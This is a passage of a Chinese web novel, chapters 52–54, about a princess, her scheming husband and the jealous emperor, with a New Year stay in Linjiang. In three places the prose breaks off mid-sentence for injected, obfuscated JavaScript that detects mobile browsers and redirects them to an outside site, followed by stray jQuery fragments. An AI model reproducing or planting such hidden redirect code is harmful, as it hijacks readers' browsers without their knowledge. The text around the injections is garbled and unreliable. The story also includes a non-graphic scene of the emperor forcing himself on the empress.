他有什么可瞒着她的……当然为冯重曜做事的事情不能告诉她,那他不告诉她就是了。不说出来就不算是欺骗。至于冯重曜重回太极宫登基大宝之日…… 左右时日尚多,何况车到山前必有路,好好哄哄也就过去了吧。毕竟她这样喜欢自己,又这样的心软。 谢随说服自己压下心中的不安。 皇城,太极宫。 大雪飘落在金碧辉煌的琉璃瓦檐之上,夜色下殿宇森森,越来越冷了。 刘公公才命人添了盆新炭,又有人过来在他耳边耳语两句,刘公公眉头微皱,正考虑着要不要向帝王汇报此事时,帝王威严的声音自里面传来,“出什么事了?” 刘公公不敢隐瞒,只得如实说:“长公主府那边请了太医过去,说是,”刘公公小心地瞄着冯重明的脸色,“说是公主和驸马两个人不小心掉到湖里去了。” 冯重明批示奏章的手微微一顿,御笔朱墨在奏章上洇了好大一团红,鲜艳如血。 “哦?你今日才去了长公主府,说公主瞧着没有大碍了,怎么这人下午还好端端的,晚上就掉湖里去了——可是对谁不满啊?” 手指一下一下,哒哒哒地敲着。敲在桌上,也是一柄钝头锤子敲在刘公公身上。帝王明显不悦,刘公公手心开始冒冷汗。这话可怎么接?总不敢说冯妙瑜就是对您的命令不满。 还要不要脑袋了。 “听说是湖边栏杆年久失修,不小心掉下去的。是那些负责整修的奴才该死,就算有不满想来也是对他们不满……还能对谁不满呢。” 冯重明冷笑一声,看破不说破,只道:“好嘛,既然连个栏杆都整修不好,没用的东西,朕要他们的脑袋留着做什么?不必留过今晚了。” “去凤仪宫。”冯重明起身。 时辰不早了,凤仪宫内只留了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14976380|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一盏小灯。一弯月白的寝衣上罩了件梅子青的外袍,张氏对着灯幽幽的刺绣,郑姑姑进来添灯,心疼道:“娘娘,时候不早了,仔细着伤了眼睛,不如早点就寝吧。” “伤就伤了,反正也再见不到他了。成日关在这笼子里,我要这眼又有什么用处。” 细针穿过锦缎,桃花柳叶缠枝连绵,两只栩栩如生的新燕在锦缎正中互诉衷肠。 郑姑姑欲言又止,最后轻手轻脚地带上门出去了。 不多时,又听得宫门推开的声音。 张氏头也不抬的,“你怎么又来了?出去吧,我绣完这个就会睡了。” 冯重明不允许下面的人通传,郑姑姑有心提醒张氏却被拦在外面,无力为之,只能在外面干着急。 高大的影子挡住了光,张氏抬头见是冯重明,下意识一抖,指尖传来尖锐的痛,绣针针尖已没入手指。顾不上手上疼痛,张氏忙将绣棚藏至身后,强装镇静。 “今个又不是初一十五的,陛下来做什么?” “怎么,朕思念皇后,想来瞧瞧都不行了?”冯重明笑着,一撩衣袍大马金刀地挤着张氏坐下,声音冷冰冰,“朕的皇后方才在绣什么?瞧着是男子用的手帕一类,可是给朕做的?” 张氏的脸色比窗格透进来的雪光还要白。 他这是明知故问。毕竟她可从来就没有给他做过什么东西。 “是给文儿的。”张氏说。 她想偷偷把绣棚藏得远些,却被冯重明抓住手腕,他慢条斯理一根根掰开她紧紧捏着绣棚的手指,从张氏手中抢过绣棚对着光细细欣赏。 “朕都不知道皇后的绣工这样好,”冯重明轻轻拂过上面的春燕,喟叹道:“只是为何绣了春燕桃柳?燕子成双,是忠贞之鸟。文儿尚未及冠,你这个做母亲的绣这个给他?” 张氏趁冯重明不备,伸手想抢过绣棚,却被冯重明反手重重摁回到榻上。墨发如瀑散落榻间,柔若女萝。 “朕听说,云塘渡口,你曾经和安王互赠桃花春柳以表心意。才子佳人,好一段佳话,月白色亦是皇兄最喜欢的颜色,你心里还惦记着皇兄是不是!” 他突然暴怒。 “朕的皇后还想着和另一个男人燕尔——” 安王安王安王,为什么大家都只注视着冯重曜,先皇,太后,就连他喜欢的女子也是……满心满眼只有他!哪怕过去了这么多年!她心里那个人还是他! 绣棚连带着那两只燕子被扔进炭盆里,燕子们发出闷闷的哀鸣声,他扯开了月白的衣襟,素白的肌肤是一地落雪,承载怒意的空白画布,他压着张蓁,衣带落下,张蓁抬手甩了他一记耳光。长指甲刮出数道红痕。 “你答应过我,生下儿子后不会再碰我一根手指!君无戏言!”张蓁尖叫道。 冯重明不理会她。 辉煌殿宇不是她最后的尊严,但衣裳是。 轻飘飘,无助的碎了一地。 浮浮沉沉,以爱之名的蛮狠刑罚终于抽离,发泄过后,心情好了不少。怜爱地捋了捋张蓁汗湿的长发,得不到心又如何,至少他得到了这个人。他有些小小的得意,觉得和安王打了个平手,甚至是小胜一筹。 “朕不记得朕说过这话。”唇瓣摩挲过她小巧的耳垂,冯重明轻轻说,见张蓁脸色极差,又道:“可是弄疼了?” 张蓁冷眼看着那张与昔日爱人足有七分相似的脸,事后诸葛亮……她突然笑了,还笑的很甜。 “我没事,重曜哥哥。”她眯起眼柔声唤道。 她也不会让他好受。 52. 52 冯妙瑜落水一事闹得不小。 发动了大半个府里的丫鬟小厮找人不说,还在夜半请了两位太医过去。虽说事后冯妙瑜已经尽可能的封锁消息,但还是有不少人知道了此事。 冯妙瑜与驸马落水倒是其次,这件事最令人玩味的是冯重明的态度。 以往长公主府里出了事,帝王就是再忙也不会忘记派个人过去探望一二,送些东西,毕竟是最宠爱的公主,连权势都毫不忌讳的给她了。然而,这次宫里却什么动静都没有。别说差人探望,甚至还以战时前线银饷吃紧为由,缩减了长公主府的用度——能探听到长公主府消息的,哪个不是聪明绝顶的?尚若是前线真的吃紧,那为何只缩减长公主府一处的用度?杯水车薪。 大家虽然不清楚帝王和冯妙瑜间具体发生什么,冯妙瑜失势的消息很快便在盛京圈子里传开了。 有人欢喜有人愁。 当事人却满不在乎。 那日分明冯妙瑜是两人中身体最弱,也是在水里泡的最久的那一个,但她上岸后有外衣裹着挡风保暖,太医们也紧着她先救治,喝了姜汤,她不过在被子里捂了一晚上,第二天一早便能如常下地活动了。而身体一向康健的谢随自那晚后却染上了风寒,久久不好。为了避免过病气给冯妙瑜,他还暂时搬去了偏院住着。 谢随极少生病,这一病,前来看望他的人不少,甚至连不便露面的夏宵都偷偷混进来探望他。 天气甚晴,谢随正坐在床榻上看书,夏宵裹着一条长巾溜进来,他缩着脑袋,从头到脚只露出一双眼睛——全身上下唯一露出来的那双眼睛还不安的四处乱转,活像个偷鸡摸狗的小贼。他把带来的探望礼放在桌上,又十分警惕地扭头扫视了一圈,隔扇,窗户,一处也没有放过,生怕有人突然从某个角落窜出来抓他个正着。 “你看我来看你一趟多不容易。”夏霄抱怨,“刚才在院子门口碰上一个小厮,我差一点就被他拦下来坏了事!还好我跑得快溜进来了。” “若不是你穿成这样,又一副做贼心虚的模样,谁会拦你——这边都是我的人,他们估计是看你形迹可疑才想问一下的。”谢随淡淡说。 “你的人?这不是长公主府吗?”夏宵惊讶道。长巾往下滑了滑,他本以为他是独身一人闯龙潭虎穴的。 “不用这么紧张兮兮的,他们不会乱说,你放心就是。坐下喝杯茶再走?” 有小厮进来给夏宵倒茶,从进门到出去全程低着头,显然训练有素。 当初翠珠还管着府里的银钱和人事的时候,谢随借她之便安插了不少自己的人进来。如今翠珠虽然离开了,但这份成果却是留了下来。 长公主府的好茶,不喝白不喝。夏宵本着占点谢随便宜的心态欢欢喜喜大刺刺坐下来。 “我听说你是为了救公主跳进湖里才染上风寒的。真是没想到,这完全不像是你会做出来的事情。当初我是怎么和你说的来着?我记得好像有人曾经说过自己绝对不会动一,点,点感情的——哎呀呀,会不会是我记错了?” 两口热茶下肚,夏宵又想起今日过来的目的,翘着脚尖尖愉快地揶揄道,他看着谢随弱弱的靠在床榻上,阳光下苍白的脸,心里啧啧称奇,这家伙也有今日。他心里暗爽。 谢随好像没听出他话语中的调侃和幸灾乐祸,放下书,只微笑着说:“能帮我把那边桌旁那筐文书拿过来?这段时间要辛苦你了。” “不辛苦不辛苦,也就两步路,你要不介意我天天来看你。” 夏宵摆手,能天天来看谢随的笑话,他巴不得呢,辛苦什么,高兴还来不及。半人高的竹筐,里面堆满大小文书信函,夏宵尖着嘴都压不住脸上的笑意,甚至都有些想同情他了。 “都生病了还看这些做什么,你就是太操心了,这时候就该多休息休息嘛!” “真巧,我也这样想。”谢随挑挑拣拣从竹筐里挑出几封文书信件,又把竹筐推给夏宵,笑的更灿烂,“盛京太冷了,这里又没有装地龙,实在是不利于休养。要说休养,这附近还得去临江。” 临江地处盛京以南,气候温和,距离盛京只有不到一日车程。相比于繁华忙碌的盛京,临江是一场悠闲的旧梦,是盛京周边有名的休闲胜地。不少达官贵人在那里置办了田宅。 “说的是啊。我的梦想就是能在临江买个小宅子。”夏宵不明所以的跟着点头。如捣蒜。 “说起来也巧了,我有个熟人在那边有一套空置的宅子,他们一家人子今年在盛京过年,我就把宅子租借过来了,我接下来打算和妙瑜去那边休养一阵子……” 夏宵大惊失色。 “等等,你要去临江玩?那大人交办给你的事情怎么办?” 不好的预感。 “不是还有你吗?我正想着怎么把文书送过去,恰好你自己过来了,”谢随笑着指指那个大竹筐,“我可全交给你了。你会做好的吧?” “这,这,”夏宵面色惨白,手里千金难买的好茶也不香了,“你要交给我?那个收买夏绥节度使的事情,还有控制丰都的事情?我是个粗人你知道的吧?我哪里做得来这些个啊……” “你放心。该处理的我已经提前处理好了。夏绥节度使的事情有仁亲王殿下在那边帮忙,你不用多管,只要照常保持联络即可。” “至于丰都,那地方几乎是原节度使曾义的一言堂,圣旨虎符,都比不上他的一句话。”谢随看了眼天色,披衣起身,“冯重明也知道这一点,所以根本不敢将他就地正法,只能先让人把曾义押解到盛京再说。我已经命人在路上救下了曾义,你只需要派人给他送些东西,让他好好养伤就是。至于要送什么过去,我已经写下来了。” 夏宵抱着个大竹筐,怎么看笑话不成,还给自己找了一大堆活呀!真是欲哭无泪。 “那盛京这边?” “一切顺利。等西境安稳下来,我们就可以准备动手了。如果我预料的不错的话,明年差不多这个时候,那个位置就可以物归原主了。”谢随轻轻说,对镜整冠理衣,举手投足间有种身在茅庐却知天下事的泰然从容。 夏宵默了默,突然问:“那事成之后公主……你,你们要怎么办?” 雀巢之下岂有完卵。冯重明一倒,除了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986257|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太子,接下来首当其冲就是冯妙瑜这个长公主,冯重明手中的一柄刀。斩草除根也好,杀鸡儆猴也罢,不论出于何种考虑,大人不可能放过冯妙瑜。 “这件事你不用管,我自有打算。我会找个时间和大人谈谈的。”谢随抿了抿嘴,阳光柔柔搭在他的肩侧,单薄而又消瘦的,那光又顺着他的肩轻飘飘滑落到地上,碎了一地。 到时候长公主冯妙瑜是断断不能留在盛京……不可能光明正大留在他身边的。 可也不是没有让冯妙瑜留在盛京的办法。 这次决定和冯妙瑜一起去临江游玩亦非一时兴起。 她若喜欢那地方,他便把那宅子买下来,虽说有些委屈了她,要在临江的宅子里拘着隐姓埋名住上三五年,等盛京这边的人把她忘的差不多了,才好再换个身份接她回盛京,但他会好好待她。补偿她的。谢随在心里暗暗想着。 夏宵听完后久久没有说话。 谢随整理好了衣冠,挥挥手,像是在赶苍蝇。非常嫌弃。 “快到午时了,没别的事你可以回去了。” “你不留我吃个饭再走吗?” 夏宵难以置信,怎么还赶客人走呢!都这个时辰了,顺便蹭顿饭也不奇怪吧?听说长公主府的伙食很精致,光是南北厨子就有好十几个,他今日特意磨蹭到了饭点才过来探望谢随,为的就是这个。 “待会妙瑜会过来,我们要一起用膳。”谢随淡淡瞥他一眼,嫌弃的意思很明显,就差把碍事二字说出口了。 于是夏宵拎着个小篮子兴冲冲地来,抱着一个大竹筐蔫巴巴地回去了。 临江城,清水巷。 这里的巷道远比预想中狭窄许多,马车不能通行,阿玉等人在后面收拾提拿行李,冯妙瑜两人便先下车。 仅容两人并肩而行的窄道,各家饭菜飘香,谢随拉着冯妙瑜慢慢往里面走,冯妙瑜这是头一回离开盛京出来游玩,十分新奇,拖着谢随走的很慢,一面走一面左看看右看看。 “倒是个清净的地方。”冯妙瑜说。 那宅子建在清水巷最深处,后头是好大一片林子,宅院门户简朴,灰扑扑的,门上连个牌匾都没有。冯妙瑜抬头看了一圈,问谢随:“民居?” 谢随说要两人一起到临江游玩,说是已经租借好了宅院,冯妙瑜以为他是借了王大人私宅供两人小住,没想到是深巷里民居,出乎意料。 冯妙瑜伸手摸了摸门口的柱子,斑斑驳驳,蹭了一手灰。 跟在后面的阿玉的脸色就有些难看了。 “先进去看看再说。”谢随敲了敲门,没人应门,“应该是有个小厮在的,可能是出去了吧。”他说着,拿钥匙开了门。 绕过入口处的青石影壁,内里却是别有洞天。雕梁画栋,明瓦窗扇,底下裙板上镂刻着海棠花,家什器物无一不精致,虽然远远比不上长公主府的奢靡,倒也能算是小巧。 阿玉的脸色这才稍微好看了些。 “谢大人这是要金屋藏娇?”冯妙瑜看了一圈,随口打趣道。 谢随没有答话,只是问道:“你喜欢这里吗?” 53. 53 冯妙瑜笑着点了点头。 “这宅子原是一个做绸缎生意的富商早年修建的私宅,眼下他手头紧张,急需现银周转,就托骆掌柜帮着寻找合适的卖家。你若喜欢这里我便买下来,以后可以常在这里小住。” 谢随一面说着,一面拉着冯妙瑜往里间走,像个急于分享新玩具的孩子。 冯妙瑜瞥见那砖石上细致的雕花,想了想劝道:“也没必要买下来,太破费了。以后还不知道什么时候能再来呢。要不还是等想来的时候再说吧。” 就算是卖主十万火急急于出手,买下这间宅子的花费也绝对不小,虽然这点花费对她来说不过九牛一毛,但谢随入仕还不到一年,本朝官员的俸禄没多少,她怕他是打肿脸充胖子,人前逞能,人后活受罪。 “也不算破费。”谢随说。买一间宅子罢了,别说一间,十间二十间都买得。他手头并不缺钱。只不过好些都和冯重曜有关系,说不清来路,暂时不敢拿到台面上用罢了。 他既坚持,冯妙瑜也不好再多说什么。 进了内间,屋里烧着地龙,温暖如春,谢随应该是提前找人细细打点过了,墙面上糊着大红的喜字,刻意做旧,焦黄边角稍稍翘起,供桌上的香燃了一半,明显是对新婚不久的小夫妻的卧房。阿玉等人早已经进来铺好了被褥,浅红的锦缎上绣着并蒂莲花,冯妙瑜坐在床边,环视一周,有种飘飘然奇妙的感觉—— 坐在这里,恍然间好像她和谢随真的只是一对普通的不能再普通的民间夫妻,春去夏尽秋往冬来,从白昼到夜晚再到白昼,一起相伴度过许多时日,柴米油盐酱醋茶,平淡却安详的日子。 谢随挨着她的手边坐下。 “接下来做什么?”冯妙瑜扭头看着谢随,还沉浸在出门游玩的兴奋中,语气十分高兴。 谢随见她半垂着眼睛,脸色也有些白,一路舟车劳顿,肯定还是累着了,就说:“今天就先休息吧?明日天气若好我们再一起出去玩,反正眼下也没什么事情,时间多的是。” “好。”冯妙瑜靠在他肩头,合上了眼睛。大概是习惯了提心吊胆忙忙碌碌的日子,这会一下闲了反倒是不安起来……还真是个劳碌命,冯妙瑜在心里摇摇头暗笑话自己。 这是外面有人进来,是个穿缺胯衫扎幞头的青年,下巴上还带着点婴儿肥,笑眯眯的,十分讨喜。 “这是路安。”谢随指着那青年介绍道:“他负责看管这间宅子,虽然年纪不大,算是这里的半个管事。” “老爷,夫人。”路安殷勤笑着给两人行礼问了安。 冯妙瑜和谢随便在这住下了。 清水巷不大,一年到头都是那些熟的发腻的老面孔来来往往,新鲜事少之又少。巷尾那间空置许久的宅子搬来了对夫妻的消息很快便在巷子里传开,男的俊雅温和,女的明艳动人——两人还带着七八个丫鬟小厮,排场着实不小。 有几个大胆的邻居便上门去打听,谁知那宅子里的人从上到下嘴巴都紧的很,忙活一下午,结果半句话也没套出来,铩羽而归……于是大家伙更好奇了,什么来头呀,还神神秘秘藏着掖着。 街坊邻里们睁眼伸耳,卖茶的,药铺送药材的,送鲜鱼鲜虾上门的渔家女……个个使尽了浑身解数打探,只见那两人天气好时轻装结伴出游,天气不好便窝在宅子里。那男的似乎也没个正经营生,女的也不缝缝补补贴补家用,两人只是成日玩乐,吃穿用度都是顶好的。邻居们便猜这两人也许是哪家的公子小姐,一对野鸳鸯,偷了家中财产私奔出来。还有人偷偷报了官。 衙役上门捉人时碰巧直直撞上了冯妙瑜,她这次是私下离京,不想声张,只拿了公主府侍卫的令牌虚晃两下,三言两语打发了那衙役回去。晚上睡觉前她和谢随说起这件事,野鸳鸯,两个人都笑的前仰后合。 弹指间便到了除夕这日。 往年这时候天还不亮就得动身入宫向父皇母后请安献贺了,从早到晚泡在宫里,应酬不断。今年借着生病的由头出门休养,倒是省去了这些个琐事。 两人睡到天已大亮才嬉嬉闹闹起床梳洗,熙熙攘攘的声音传进屋里,外面已经热闹起来了,归乡的游子,走街串巷拜访亲友的人,两人在临江无亲无友,也没个可去拜访的人。商量一二,便决定上城东的庙会玩。 冯妙瑜换了前几日赶集时和谢随一起买的新衣裳,桃粉,艳丽得有些过了头的颜色,但她带来的衣裳不是绫罗就是貂裘,在屋里穿穿还可,拿去外面穿就太扎眼了,又不是去赴宫宴。她匆匆系上衣带,绕出屏风,谢随还没有换好衣裳,在整理腰带。 “你快点,可要我帮忙?”冯妙瑜催促道。 庙会每到逢年过节才有,她方才听路安说临江每年庙会都是人山人海,去晚了就只能看见人脑袋了。她自然着急。 下次能出来玩还不知道是什么时候呢。 “好,好,我知道了。你帮我拿下玉佩吧?”谢随嘴上说着,手底下却还是不紧不慢理着腰带,世家公子的毛病,悠悠闲闲,自个从来不着急,反正急死的都是旁人。 冯妙瑜打开锦匣,扫了一眼,随手拎了块白玉玉佩出来,上好的羊脂玉,有点眼熟,白玉温润,正好和他今日穿的红衣裳相配。 谢随眼神微微一滞。 冯妙瑜立马察觉出了不对,但也没多想,只问:“怎么了,这玉佩可有什么不妥吗?” 那玉佩是许大人所赠,底下有个小小的许字,平时都是单独放在一个盒子里的。这次来临江前,服侍他的小厮见他似乎很喜欢这个玉佩,经常佩戴把玩,便随手装上带来了。 他和许大人的关系眼下还是个秘密。何况当年许家的事情和她脱不了干系……今时不同往日,他不想去想这个。 谢随不动声色从她手里抽走玉佩,笑道:“逛庙会人挤人的,少不了有贼儿什么的。这个贵,丢了有点心疼。选个便宜戴着出门玩玩就行了。” “那你干脆挂串草绳,绳子上绑块鹅卵石出门算了。保证没有贼儿惦记你。” 谢随总算理好腰带,故意凑过来和她一起挑选玉佩,有些无赖,“只要夫人肯做,就是草绳绑大青石我也喜欢,日日带着出门。” “谁要给你做那个。”冯妙瑜扭头白他一眼。 又打打闹闹好一阵,冯妙瑜最后挑了块青岫玉的玉佩帮他戴上了。 过了今日便是新的一年了。过年嘛,冯妙瑜给其他侍女侍卫放了假,发了赏钱,让他们自个出去好好玩玩,身旁只留了阿玉和一个负责带路的路安。 四人出了清水巷先是乘马车一路向东,越往东走,游人和车马也越来越多,似乎整个临江城的人都挤到了同一处来。本就拥挤的道路不但挤满了人和车马,还有沿街叫卖的小贩,卖花的,卖草编小动物的,卖糖人卖冰糖葫芦卖糕饼的……实在是挤得水泄不通,比肩继踵,几人只好下车步行。人挤人,挤扁压圆,人都硬生生给挤瘦了三两斤。真是热闹非凡。和宫里过节的井然有序不同,这也算是一种节日乐趣吧。 路安好不容易领着三人冲进了庙会,到处都是乌泱泱的人,耍社火的队伍已经和锣鼓声一起走远了,冯妙瑜垫着脚尖,也只能勉强瞟到高跷上摇摇晃晃的几个人影,她伸手在谢随腰间轻轻掐了把,有些遗憾。 往年除夕宫中也有民间艺人的社火表演,但毕竟是在宫里,天子在上,连几时鼓掌,几时喝彩都是有章程的,年复一年,连热闹都讲究规矩礼仪,实在是无趣到了极点。 几人一路吃吃逛逛,时而坐在路边歇脚,直到暮色四合,残阳如霞,楼头的花灯一盏盏亮起来了,地上卖花灯的小贩也不甘示弱似的点上灯,绣球的,兔子的,两个巴掌大的金鱼在夜色里游弋,看得人眼花缭乱。人也越来越多了,不过是给冯妙瑜买个莲花灯笼的功夫,四人便走散了。 人山人海,冯妙瑜怎么看也看不见阿玉和路安的踪影。 “回广顺楼吧!” 人太多了,冯妙瑜扯着嗓子对谢随道。广顺楼是他们事先约好走散后汇合的地方。 谢随却一把拉住冯妙瑜,把花灯塞到她手中,还顺势攥紧了她的手。 “后面全是人,我们根本没法过去。先往前走,不找他们了。焰火表演就快开始了,等看完焰火我们直接回宅子。他们找不到我们也回到宅子里去的。” “可是阿玉……” 冯妙瑜想说他不知道阿玉那个性子,是个脑袋绕不过弯的。她怕阿玉会死守在广顺楼等着和两人汇合。 “没事,有路安和她在一起,他知道该怎么办的。”谢随说。 “好吧。”冯妙瑜看了眼来路, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995340|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路上挤满人,回广顺楼希望渺茫。 焰火表演在建筑物稀少的临江河岸,至于临江河岸在哪,这是个问题,但跟着人群走大抵是错不了的吧。 两人就顺着人群一路往前走,越走,人却稀少了,等走到一座石拱桥上时,两人身边早已没了旁人。 “我们这是到哪来了?”冯妙瑜问。 谢随也是一脸茫然。他也是头一回来临江城,没有路安,只能勉强分辨个东西南北。 焰火炸开的声音突然响彻天空,冯妙瑜扭身,焰火自他们身后升起……果然是走错地方了啊。 “还能再走吗?”谢随问,他们已经走了很久了。 冯妙瑜点点头,却没动,她叹了口气。 “还来得及过去吗?” 放焰火的地方离拱桥看着不远,但等两人摸索着找过去,估计焰火表演也该结束了。谢随也想到了这点。 “是我不好,要不将就一下就在这里看?”谢随摇了摇栏板确认安全后,才脱了外衣铺在上面,好让冯妙瑜能倚着着休息一会。 “不冷吗?” “我的身子骨可要比你的硬朗许多。”谢随笑笑,又伸手环住了冯妙瑜的肩,“这样就不冷了。” 天上万星焰火一簇簇炸开,焰火落了,落在地上,是万家灯火煌煌,从水面上吹来的风依旧是冷的,可她心里却没有那么冷了。也许是因为有了一个愿意陪她看这焰火与灯火的人。 “好漂亮!”冯妙瑜说。 来年,后年,在后年……愿年年岁岁都如此时此刻,与这个人一起,一起看这除夕焰火。 “是啊,”谢随也轻轻说,却没有看着天上的焰火,而是垂眸看着怀中看焰火的人,他喃喃自语道:“真漂亮。” 冬日寒夜真的好长,焰火璀璨,却是要孤独划过漫长而又寂寂的夜的。当焰火升空时,是否也会觉得这长夜冷寂?只为了那一瞬的灿烂…… 又是一道焰火砰的绽开,照亮了冯妙瑜的脸,她瞳中流光溢彩,比烟花灿烂。却也只有一瞬。他的手指微微颤抖起来,于是更用力的搂住她。 也许是在害怕。可是在害怕什么呢?他自己也说不清楚。 等两人转回宅子时,夜色已深。用屋里备好的热水洗漱更衣,今晚是要守岁到天明的,两人对坐着聊了会家常,谢随起身端了壶温热的椒柏酒过来。 往日宫中除夕夜里也要饮酒,帝王赐群臣分岁酒,群臣起身拜谢天恩,作诗歌颂海内升平,五谷丰登。在自家守岁喝椒柏酒倒是头一回。 “怎么给你自个是大杯,到我就是小杯了?”冯妙瑜看着谢随倒酒,不满道。 “太医说你不能喝酒。” “可这是辟邪酒啊,喝少了岂不是不吉利?”冯妙瑜强烈要求换个大杯,这可是关乎来年福运的大事,杯子自然是越大越好。 “你少喝的那份我替你喝,”谢随想了想说,她的身子是真的不能多喝酒的,“酒我代你喝,福气还是你的。好不好?” 僵持许久,冯妙瑜勉为其难地答应了。 一壶椒柏酒热乎乎下了肚,两人说了许久的话,又取来棋盘对弈了几局,除夕夜总是格外漫长,怎么也到不了天明,两人熬得眼里都有了血丝,谢随就说:“反正也过了子夜,去睡吧。” 冯妙瑜撑着眼皮摇摇头。 这可是守岁夜,怎么能跑去睡觉。 “总下棋容易犯瞌睡,你陪我去巷子里转转吧,我看邻居家的孩子在巷子里堆雪狮子玩,我们也去玩吧?玩雪可就不困了。”冯妙瑜野心勃勃的建议道。 于是两人换了最厚的衣裳跑去院子里玩雪,才堆了两条狮子腿冯妙瑜就冷的受不住了,跑回温暖的屋里……还得做点什么才是。谢随又陪着冯妙瑜摸了几把叶子牌,窗外总算透出一线微光。 吹了蜡烛,隔着一缕青烟,两人看着对面那张略显苍白憔悴的脸,不禁失笑。 “是新的一年了。”冯妙瑜说 “新年快乐。”谢随说。 “你也是。”冯妙瑜笑着起身,“睡觉吧——不过新年的第一天就睡大觉是不是不太好?往年这时候可得进宫拜年呢。” “这又不是在盛京,管他呢。”谢随突然打横抱起冯妙瑜,上了床。 屋外爆竹声不绝于耳。 54. 54 这过完了春节便是立春了。 虽说到了春天,可那天气却越发冷起来,许是倒春寒,一天里一半天晴,一半天阴,还又下了两场冷雨,院里一地泥泞。纵使外面天光再明朗,冻手冻脚的,冯妙瑜也不愿出门,便蘑菇似的长在屋里,成日不是喂喂院子里的鸟,就是烤火看话本子。 阿玉端着汤药进了屋,依旧是黑乎乎一大碗,只是汤药才放在小桌上,冯妙瑜都还没有端起来喝,阿玉却突然伸手就准备收碗了,神情恍恍惚惚,梦游似的。阿玉素来认真,这么多年还是头回出岔子——虽说是人,多多少少都会犯点小错误,可放在阿玉身上就是很奇怪。 且近来她做事总是毛手毛脚,有头没尾的,不对劲。非常不对劲。 冯妙瑜不情不愿喝了药,当的一声,她把药碗放回桌上。 阿玉竟然没有一点反应,偏头呆呆地望着窗外在地上捡食的三两只禾雀儿。 这是太阳打西边出来了? 冯妙瑜想了想,又正大光明的探手向小桌中央那只三层的黑漆螺钿花鸟大食盒,往常这时候阿玉早该过来一把连盒子揣走的,冯妙瑜从第一层摸了两块金丝枣儿,甜丝丝的,去去苦味儿,她回头见阿玉竟然还在发呆,干脆大着胆子将手伸向第二层,第三层,蜜饯橘子,冰糖花生,松花糖……吃到肚里胀气打了两个嗝儿,阿玉才回过神来,如梦初醒般,伸手—— 她端起的不是药碗,是药碗旁边的青瓷大花瓶。 “阿玉,你这是怎么了?” “没,没什么啊。” 阿玉难以置信地看着自己手里的大花瓶,摇摇头,赶紧放下花瓶端起空药碗。 “你可是累了或是身子不舒服?若是这样,你和我说一声去歇着就是。”冯妙瑜扭头瞅着阿玉,看见她眼下淡淡的乌青,就说。 往年过年长公主府里的下人都是轮流着休息的,今年情况特殊些,在临江过年,人手又不足,阿玉也许是累着了。 可阿玉还是摇头。 那这人最近怎么回事,倦怠期?冯妙瑜狐疑地想。 阿玉垂着头似乎是沉思了片刻,而后突然抬头问:“公主,假如您想让另一个人,奴婢是说假如——假如您想让另一个人觉得自己好,您会怎么做?” 这竟是从阿玉嘴里面问出来的话? 冯妙瑜呲溜一下坐直了身子,从头到脚从脚到头狐疑地打量起阿玉。红蓝间色裙,交领窄袖衫,淡漠的眉眼间薄施粉黛……阿玉还是那个阿玉,不是其他人假扮来的。 “你怎么问起这个来了?” 阿玉被冯妙瑜看得不自在,微微偏过头,欲盖弥彰。 “哦,前段时间姑爷不是新采买来了几个丫鬟小厮吗,前日她们问起这个来,那些十二三岁的小丫头就好奇这些。只是奴婢想了好久都没想出答案。奴婢比她们年长许多,若是答不出来岂不是丢面子,日后如何服众管束她们。” “是这样啊。” 冯妙瑜不疑有他,又缩回了软枕上靠着。若说这话的是他人,她必定疑心那人春心萌动,无中生友旁敲侧击着试探。 可这是阿玉哎。 冯妙瑜觉得自己根本没必要多心,阿玉嘛。虽然她在这事上也没多少经验,但糊弄一群十二三的小姑娘嘛——冯妙瑜撸撸袖子,带着点心虚,开始大言不惭的指点起了江山。 “这件事说难也不难。只要把自己的长处展现出来就行了。” “长处?” “人总有自己擅长的事情嘛,比如说有人琴棋书画样样精通,有的人擅长写诗,”冯妙瑜顿了顿,“当然这个长处倒也不一定是才艺上的,也可能是性格上的,外貌上的,甚至身份地位上的……总之,长处这个东西每个人都不一样的。” 阿玉点点头,又问:“那就拿奴婢来说,公主您觉得奴婢的长处是什么?” 默了少许。 “阿玉,阿玉你武功很厉害呀。我想没几个人敢说能接下你一拳的。” 毕竟这是一个能一掌拍断铁锁的女子。凡人的血肉之躯哪里比得上那大铁锁结实。 阿玉若有所思地点点头,出去了。 这不过是一日午前的小小插曲,冯妙瑜便没有放在心上,很快把这事忘在了脑后。 午后暖阳顺着灯笼锦的窗格轻手轻脚溜进屋子里,光尘浮动,鎏金大肚花瓶上虚虚柔柔映出床榻上的两道身影。 “睡醒了?今天天气挺好。听说城外的芸薹花开了,要一起去看看吗?那地方宽敞,还能放纸鸢玩。”① 